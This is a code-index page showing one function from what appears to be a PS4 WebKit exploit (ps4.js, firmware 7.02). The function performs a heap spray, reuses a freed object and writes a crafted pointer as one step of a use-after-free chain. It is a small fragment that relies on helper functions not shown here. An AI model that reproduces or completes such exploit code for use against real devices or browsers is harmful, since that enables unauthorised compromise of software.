MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / confuseTargetObjRound1

Function confuseTargetObjRound1

restore/702/ps4.js:295–312  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

293 * and before deleteBubbleTree
294 */
295function confuseTargetObjRound1() {
296 /* Force allocation of StringImpl obj. beyond Timer address */
297 sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2);
298
299 /* Checking for leaked data */
300 if (findTargetObj() === false)
301 die("[!] Failed to reuse target obj.");
302
303 dumpTargetObj();
304
305 g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble();
306
307 /*
308 * The timeout must be > 5s because deleteBubbleTree is scheduled to run in
309 * the next 5s
310 */
311 setTimeout(leakJSC, 6000);
312}
313
314function handle2() {
315 /* focus elsewhere */

Callers

nothing calls this directly

Calls 5

sprayStringImplFunction · 0.70
findTargetObjFunction · 0.70
dieFunction · 0.70
dumpTargetObjFunction · 0.70
addMethod · 0.45

Tested by

no test coverage detected